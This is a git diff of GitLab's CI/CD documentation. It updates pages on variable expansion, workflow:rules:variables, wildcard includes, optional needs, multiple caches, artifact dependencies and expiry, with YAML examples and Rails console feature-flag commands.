| `CI_KUBERNETES_ACTIVE` | 13.0 | all | Only available if the pipeline has a Kubernetes cluster available for deployments. `true` when available. |
diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md
index 16c02b3482b..3e1518447d6 100644
--- a/doc/ci/variables/where_variables_can_be_used.md
+++ b/doc/ci/variables/where_variables_can_be_used.md
@@ -28,14 +28,14 @@ There are two places defined variables can be used. On the:
| `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
| `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
| `include` | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. <br/><br/>Predefined project variables are supported: `GITLAB_FEATURES`, `CI_DEFAULT_BRANCH`, and all variables that start with `CI_PROJECT_` (for example `CI_PROJECT_NAME`). |
-| `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
+| `variables` | yes | GitLab/Runner | The variable expansion is first made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab, and then any unrecognized or unavailable variables are expanded by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism). |
| `image` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
| `services:[]` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
| `services:[]:name` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
| `cache:key` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
| `artifacts:name` | yes | Runner | The variable expansion is made by GitLab Runner's shell environment |
| `script`, `before_script`, `after_script` | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment) |
-| `only:variables:[]`, `except:variables:[]` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
+| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
### `config.toml` file
@@ -61,6 +61,54 @@ The expanded part needs to be in a form of `$variable`, or `${variable}` or `%va
Each form is handled in the same way, no matter which OS/shell handles the job,
because the expansion is done in GitLab before any runner gets the job.
+#### Nested variable expansion
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48627) in GitLab 13.10.
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It can be enabled or disabled for a single project.
+> - It's disabled on GitLab.com.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-nested-variable-expansion-feature). **(FREE SELF)**
+
+GitLab expands job variable values recursively before sending them to the runner. For example:
+
+```yaml
+- BUILD_ROOT_DIR: '${CI_BUILDS_DIR}'
+- OUT_PATH: '${BUILD_ROOT_DIR}/out'
+- PACKAGE_PATH: '${OUT_PATH}/pkg'
+```
+
+If nested variable expansion is:
+
+- **Disabled**: the runner receives `${BUILD_ROOT_DIR}/out/pkg`. This is not a valid path.
+- **Enabled**: the runner receives a valid, fully-formed path. For example, if `${CI_BUILDS_DIR}` is `/output`, then `PACKAGE_PATH` would be `/output/out/pkg`.
+
+References to unavailable variables are left intact. In this case, the runner
+[attempts to expand the variable value](#gitlab-runner-internal-variable-expansion-mechanism) at runtime.
+For example, a variable like `CI_BUILDS_DIR` is known by the runner only at runtime.
+
+##### Enabling the nested variable expansion feature **(FREE SELF)**
+
+This feature comes with the `:variable_inside_variable` feature flag disabled by default.
+
+To enable this feature, ask a GitLab administrator with [Rails console access](../../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the
+following command:
+
+```ruby
+# For the instance
+Feature.enable(:variable_inside_variable)
+# For a single project
+Feature.enable(:variable_inside_variable, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:variable_inside_variable)
+# For a single project
+Feature.disable(:variable_inside_variable, Project.find(<project id>))
+```
+
### GitLab Runner internal variable expansion mechanism
- Supported: project/group variables, `.gitlab-ci.yml` variables, `config.toml` variables, and
@@ -70,16 +118,17 @@ because the expansion is done in GitLab before any runner gets the job.
The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles
only variables defined as `$variable` and `${variable}`. What's also important, is that
the expansion is done only once, so nested variables may or may not work, depending on the
-ordering of variables definitions.
+ordering of variables definitions, and whether [nested variable expansion](#nested-variable-expansion)
+is enabled in GitLab.
### Execution shell environment
-This is an expansion that takes place during the `script` execution.
-How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's
+This is an expansion phase that takes place during the `script` execution.
+Its behavior depends on the shell used (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's
`script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled
by bash/sh (leaving empty strings or some values depending whether the variables were
defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells
-are using a different variables syntax.
+use a different variables syntax.
Supported:
@@ -88,10 +137,10 @@ Supported:
`.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules).
- The `script` may also use all variables defined in the lines before. So, for example, if you define
a variable `export MY_VARIABLE="test"`:
- - In `before_script`, it works in the following lines of `before_script` and
+ - In `before_script`, it works in the subsequent lines of `before_script` and
all lines of the related `script`.
- - In `script`, it works in the following lines of `script`.
- - In `after_script`, it works in following lines of `after_script`.
+ - In `script`, it works in the subsequent lines of `script`.
+ - In `after_script`, it works in subsequent lines of `after_script`.
In the case of `after_script` scripts, they can:
@@ -99,7 +148,7 @@ In the case of `after_script` scripts, they can:
section.
- Not use variables defined in `before_script` and `script`.
-These restrictions are because `after_script` scripts are executed in a
+These restrictions exist because `after_script` scripts are executed in a
[separated shell context](../yaml/README.md#after_script).
## Persisted variables
diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md
index 9329748e396..ef201887ef1 100644
--- a/doc/ci/yaml/README.md
+++ b/doc/ci/yaml/README.md
@@ -92,19 +92,19 @@ These job keywords can be defined inside a `default:` section:
- [`tags`](#tags)
- [`timeout`](#timeout)
-The following example sets the `ruby:2.5` image as the default for all jobs in the pipeline.
-The `rspec 2.6` job does not use the default, because it overrides the default with
+The following example sets the `ruby:3.0` image as the default for all jobs in the pipeline.
+The `rspec 2.7` job does not use the default, because it overrides the default with
a job-specific `image:` section:
```yaml
default:
- image: ruby:2.5
+ image: ruby:3.0
rspec:
script: bundle exec rspec
-rspec 2.6:
- image: ruby:2.6
+rspec 2.7:
+ image: ruby:2.7
script: bundle exec rspec
```
@@ -172,6 +172,7 @@ a preconfigured `workflow: rules` entry.
- [`when`](#when): Specify what to do when the `if` rule evaluates to true.
- To run a pipeline, set to `always`.
- To prevent pipelines from running, set to `never`.
+- [`variables`](#workflowrulesvariables): If not defined, uses the [variables defined elsewhere](#variables).
When no rules evaluate to true, the pipeline does not run.
@@ -222,6 +223,87 @@ request pipelines.
If your rules match both branch pipelines and merge request pipelines,
[duplicate pipelines](#avoid-duplicate-pipelines) can occur.
+#### `workflow:rules:variables`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11.
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-workflowrulesvariables). **(CORE ONLY)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can use [`variables`](#variables) in `workflow:rules:` to define variables for specific pipeline conditions.
+
+For example:
+
+```yaml
+variables:
+ DEPLOY_VARIABLE: "default-deploy"
+
+workflow:
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables:
+ DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ IS_A_FEATURE: "true" # Define a new variable.
+ - when: always # Run the pipeline in other cases
+
+job1:
+ variables:
+ DEPLOY_VARIABLE: "job1-default-deploy"
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables: # Override DEPLOY_VARIABLE defined
+ DEPLOY_VARIABLE: "job1-deploy-production" # at the job level.
+ - when: on_success # Run the job in other cases
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+
+job2:
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+```
+
+When the branch is `master`:
+
+- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`.
+- job2's `DEPLOY_VARIABLE` is `deploy-production`.
+
+When the branch is `feature`:
+
+- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`.
+- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`.
+
+When the branch is something else:
+
+- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`.
+- job2's `DEPLOY_VARIABLE` is `default-deploy`.
+
+##### Enable or disable workflow:rules:variables **(CORE ONLY)**
+
+rules:variables is under development and not ready for production use.
+It is deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_workflow_rules_variables)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_workflow_rules_variables)
+```
+
#### `workflow:rules` templates
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217732) in GitLab 13.0.
@@ -395,6 +477,41 @@ include: '.gitlab-ci-production.yml'
Use local includes instead of symbolic links.
+##### `include:local` with wildcard file paths
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25921) in GitLab 13.11.
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. **(CORE ONLY)**
+
+You can use wildcard paths (`*`) with `include:local`.
+
+Example:
+
+```yaml
+include: 'configs/*.yml'
+```
+
+When the pipeline runs, it adds all `.yml` files in the `configs` folder into the pipeline configuration.
+
+The wildcard file paths feature is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_wildcard_file_paths)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_wildcard_file_paths)
+```
+
#### `include:file`
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7.
@@ -512,7 +629,7 @@ Use `image` to specify [a Docker image](../docker/using_docker_images.md#what-is
For:
-- Usage examples, see [Define `image` and `services` from `.gitlab-ci.yml`](../docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml).
+- Usage examples, see [Define `image` in the `.gitlab-ci.yml` file](../docker/using_docker_images.md#define-image-in-the-gitlab-ciyml-file).
- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation.
#### `image:name`
@@ -529,11 +646,11 @@ For more information, see [Available settings for `image`](../docker/using_docke
#### `services`
-Use `services` to specify a [service Docker image](../docker/using_docker_images.md#what-is-a-service), linked to a base image specified in [`image`](#image).
+Use `services` to specify a [service Docker image](../services/index.md), linked to a base image specified in [`image`](#image).
For:
-- Usage examples, see [Define `image` and `services` from `.gitlab-ci.yml`](../docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml).
+- Usage examples, see [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file).
- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation.
- Example services, see [GitLab CI/CD Services](../services/index.md).
@@ -541,25 +658,25 @@ For:
An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services).
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
##### `services:alias`
An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services).
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
##### `services:entrypoint`
An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services).
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
##### `services:command`
An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
-For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services).
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
### `script`
@@ -1069,8 +1186,8 @@ job:
- when: on_success
```
-- If the pipeline is for a merge request, the job is **not** be added to the pipeline.
-- If the pipeline is a scheduled pipeline, the job is **not** be added to the pipeline.
+- If the pipeline is for a merge request, the job is **not** added to the pipeline.
+- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline.
- In **all other cases**, the job is added to the pipeline, with `when: on_success`.
WARNING:
@@ -1180,7 +1297,7 @@ expression string per rule, rather than an array of them. Any set of expressions
evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions).
-Unlike variables in [`script`](../variables/README.md#syntax-of-cicd-variables-in-job-scripts)
+Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts)
sections, variables in rules expressions are always formatted as `$VARIABLE`.
`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
@@ -1357,7 +1474,9 @@ job:
Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it.
-You can use glob patterns to match multiple files in any directory in the repository:
+You can use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+patterns to match multiple files in any directory
+in the repository:
```yaml
job:
@@ -1794,7 +1913,8 @@ WARNING:
If you use `only:changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
you should [also use `only:merge_requests`](#use-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected.
-You can also use glob patterns to match multiple files in either the root directory
+You can also use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+patterns to match multiple files in either the root directory
of the repository, or in _any_ directory in the repository. However, they must be wrapped
in double quotes or GitLab can't parse them:
@@ -1983,6 +2103,10 @@ To disable directed acyclic graphs (DAG), set the limit to `0`.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6.
+When a job uses `needs`, it no longer downloads all artifacts from previous stages
+by default, because jobs with `needs` can start before earlier stages complete. With
+`needs` you can only download artifacts from the jobs listed in the `needs:` configuration.
+
Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are
downloaded in jobs that use `needs`.
@@ -2145,10 +2269,11 @@ To download artifacts from a job in the current pipeline, use the basic form of
#### Optional `needs`
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-needs). **(FREE SELF)**
+> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 13.11.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-optional-needs). **(FREE SELF)**
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -2187,10 +2312,10 @@ rspec:
#### Enable or disable optional needs **(FREE SELF)**
-Optional needs is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
+Optional needs is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
+can opt to disable it.
To enable it:
@@ -2325,8 +2450,8 @@ The valid values of `when` are:
1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration.
Added in GitLab 11.14.
1. `never`:
- - With [`rules`](#rules), don't execute job.
- - With [`workflow`](#workflow), don't run pipeline.
+ - With job [`rules`](#rules), don't execute job.
+ - With [`workflow:rules`](#workflow), don't run pipeline.
In the following example, the script:
@@ -2579,9 +2704,9 @@ Use the `action` keyword to specify jobs that prepare, start, or stop environmen
| **Value** | **Description** |
|-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| start | Default value. Indicates that job starts the environment. The deployment is created after the job starts. |
-| prepare | Indicates that job is only preparing the environment. Does not affect deployments. [Read more about environments](../environments/index.md#prepare-an-environment) |
-| stop | Indicates that job stops deployment. See the example below. |
+| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. |
+| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). |
+| `stop` | Indicates that job stops deployment. See the example below. |
Take for instance:
@@ -2614,7 +2739,7 @@ the GitLab UI to run.
Also in the example, `GIT_STRATEGY` is set to `none`. If the
`stop_review_app` job is [automatically triggered](../environments/index.md#stopping-an-environment),
-the runner won’t try to check out the code after the branch is deleted.
+the runner won't try to check out the code after the branch is deleted.
The example also overwrites global variables. If your `stop` `environment` job depends
on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
@@ -2630,8 +2755,8 @@ The `stop_review_app` job is **required** to have the following keywords defined
- `environment:name`
- `environment:action`
-Additionally, both jobs should have matching [`rules`](../yaml/README.md#onlyexcept-basic)
-or [`only/except`](../yaml/README.md#onlyexcept-basic) configuration.
+Additionally, both jobs should have matching [`rules`](#onlyexcept-basic)
+or [`only/except`](#onlyexcept-basic) configuration.
In the examples above, if the configuration is not identical:
@@ -2695,7 +2820,7 @@ To follow progress on support for GitLab-managed clusters, see the
#### `environment:deployment_tier`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 13.10.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10.
Use the `deployment_tier` keyword to specify the tier of the deployment environment:
@@ -2759,7 +2884,7 @@ patterns and:
- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
- In GitLab Runner 12.10 and earlier,
-[`filepath.Match`](https://pkg.go.dev/path/filepath/#Match).
+[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
Cache all files in `binaries` that end in `.apk` and the `.config` file:
@@ -2831,13 +2956,11 @@ You can specify a [fallback cache key](#fallback-cache-key) to use if the specif
##### Multiple caches
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32814) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-multiple-caches). **(FREE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/321877) in GitLab 13.11.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiple-caches). **(FREE SELF)**
You can have a maximum of four caches:
@@ -2866,10 +2989,10 @@ the fallback is fetched multiple times if multiple caches are not found.
##### Enable or disable multiple caches **(FREE SELF)**
-The multiple caches feature is under development and not ready for production use.
-It is deployed behind a feature flag that is **disabled by default**.
+The multiple caches feature is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
+can opt to disable it.
To enable it:
@@ -3072,98 +3195,87 @@ The artifacts are sent to GitLab after the job finishes. They are
available for download in the GitLab UI if the size is not
larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
+By default, jobs in later stages automatically download all the artifacts created
+by jobs in earlier stages. You can control artifact download behavior in jobs with
+[`dependencies`](#dependencies).
+
+When using the [`needs`](#artifact-downloads-with-needs) keyword, jobs can only download
+artifacts from the jobs defined in the `needs` configuration.
+
Job artifacts are only collected for successful jobs by default, and
artifacts are restored after [caches](#cache).
[Read more about artifacts](../pipelines/job_artifacts.md).
-#### `artifacts:paths`
-
-Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly
-link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
-patterns and:
-
-- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
-[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
-- In GitLab Runner 12.10 and earlier,
-[`filepath.Match`](https://pkg.go.dev/path/filepath/#Match).
+#### `dependencies`
-To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies).
+By default, all `artifacts` from previous stages
+are passed to each job. However, you can use the `dependencies` keyword to
+define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all.
-Send all files in `binaries` and `.config`:
+To use this feature, define `dependencies` in context of the job and pass
+a list of all previous jobs the artifacts should be downloaded from.
-```yaml
-artifacts:
- paths:
- - binaries/
- - .config
-```
+You can define jobs from stages that were executed before the current one.
+An error occurs if you define jobs from the current or an upcoming stage.
-To disable artifact passing, define the job with empty [dependencies](#dependencies):
+To prevent a job from downloading artifacts, define an empty array.
-```yaml
-job:
- stage: build
- script: make build
- dependencies: []
-```
+When you use `dependencies`, the status of the previous job is not considered.
+If a job fails or it's a manual job that isn't triggered, no error occurs.
-You may want to create artifacts only for tagged releases to avoid filling the
-build server storage with temporary build artifacts.
+The following example defines two jobs with artifacts: `build:osx` and
+`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx`
+are downloaded and extracted in the context of the build. The same happens
+for `test:linux` and artifacts from `build:linux`.
-Create artifacts only for tags (`default-job` doesn't create artifacts):
+The job `deploy` downloads artifacts from all previous jobs because of
+the [stage](#stages) precedence:
```yaml
-default-job:
- script:
- - mvn test -U
- except:
- - tags
-
-release-job:
- script:
- - mvn package -U
+build:osx:
+ stage: build
+ script: make build:osx
artifacts:
paths:
- - target/*.war
- only:
- - tags
-```
-
-You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`:
+ - binaries/
-```yaml
-job:
+build:linux:
+ stage: build
+ script: make build:linux
artifacts:
paths:
- - path/*xyz/*
-```
+ - binaries/
-#### `artifacts:public`
+test:osx:
+ stage: test
+ script: make test:osx
+ dependencies:
+ - build:osx
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
+test:linux:
+ stage: test
+ script: make test:linux
+ dependencies:
+ - build:linux
-Use `artifacts:public` to determine whether the job artifacts should be
-publicly available.
+deploy:
+ stage: deploy
+ script: make deploy
+```
-The default for `artifacts:public` is `true` which means that the artifacts in
-public pipelines are available for download by anonymous and guest users:
+##### When a dependent job fails
-```yaml
-artifacts:
- public: true
-```
+> Introduced in GitLab 10.3.
-To deny read access for anonymous and guest users to artifacts in public
-pipelines, set `artifacts:public` to `false`:
+If the artifacts of the job that is set as a dependency are
+[expired](#artifactsexpire_in) or
+[erased](../pipelines/job_artifacts.md#erase-job-artifacts), then
+the dependent job fails.
-```yaml
-artifacts:
- public: false
-```
+You can ask your administrator to
+[flip this switch](../../administration/job_artifacts.md#validation-for-dependencies)
+and bring back the old behavior.
#### `artifacts:exclude`
@@ -3176,7 +3288,7 @@ archive.
Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative
to the project directory. You can use Wildcards that use
[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or
-[`filepath.Match`](https://golang.org/pkg/path/filepath/#Match) patterns.
+[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns.
For example, to store all files in `binaries/`, but not `*.o` files located in
subdirectories of `binaries/`:
@@ -3189,9 +3301,68 @@ artifacts:
- binaries/**/*.o
```
+Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself.
+
+For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory:
+
+```yaml
+artifacts:
+ paths:
+ - binaries/
+ exclude:
+ - binaries/temp/**/*
+```
+
Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using
`artifacts:exclude` too.
+#### `artifacts:expire_in`
+
+Use `expire_in` to specify how long artifacts are active before they
+expire and are deleted.
+
+The expiration time period begins when the artifact is uploaded and
+stored on GitLab. If the expiry time is not defined, it defaults to the
+[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
+(30 days by default).
+
+To override the expiration date and protect artifacts from being automatically deleted:
+
+- Use the **Keep** button on the job page.
+- Set the value of `expire_in` to `never`. [Available](https://gitlab.com/gitlab-org/gitlab/-/issues/22761)
+ in GitLab 13.3 and later.
+
+After their expiry, artifacts are deleted hourly by default (via a cron job),
+and are not accessible anymore.
+
+The value of `expire_in` is an elapsed time in seconds, unless a unit is
+provided. Examples of valid values:
+
+- `'42'`
+- `42 seconds`
+- `3 mins 4 sec`
+- `2 hrs 20 min`
+- `2h20min`
+- `6 mos 1 day`
+- `47 yrs 6 mos and 4d`
+- `3 weeks and 2 days`
+- `never`
+
+To expire artifacts 1 week after being uploaded:
+
+```yaml
+job:
+ artifacts:
+ expire_in: 1 week
+```
+
+The latest artifacts for refs are locked against deletion, and kept regardless of
+the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267)
+GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936)
+in GitLab 13.4.
+
+In [GitLab 13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/241026), you can [disable this behavior at the project level in the CI/CD settings](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). In [GitLab 13.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/276583), you can [disable this behavior instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
+
#### `artifacts:expose_as`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5.
@@ -3210,7 +3381,8 @@ test:
```
With this configuration, GitLab adds a link **artifact 1** to the relevant merge request
-that points to `file1.txt`.
+that points to `file1.txt`. To access the link, select **View exposed artifact**
+below the pipeline graph in the merge request overview.
An example that matches an entire directory:
@@ -3227,7 +3399,7 @@ Note the following:
- Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`.
- A maximum of 10 job artifacts per merge request can be exposed.
- Glob patterns are unsupported.
-- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#browsing-artifacts) if there is more than
+- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than
one file in the directory.
- For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`,
and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is:
@@ -3311,197 +3483,397 @@ job:
- binaries/
```
-#### `artifacts:untracked`
+#### `artifacts:paths`
-Use `artifacts:untracked` to add all Git untracked files as artifacts (along
-with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration
-in the repository's `.gitignore` file.
+Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly
+link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+patterns and:
-Send all Git untracked files:
+- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
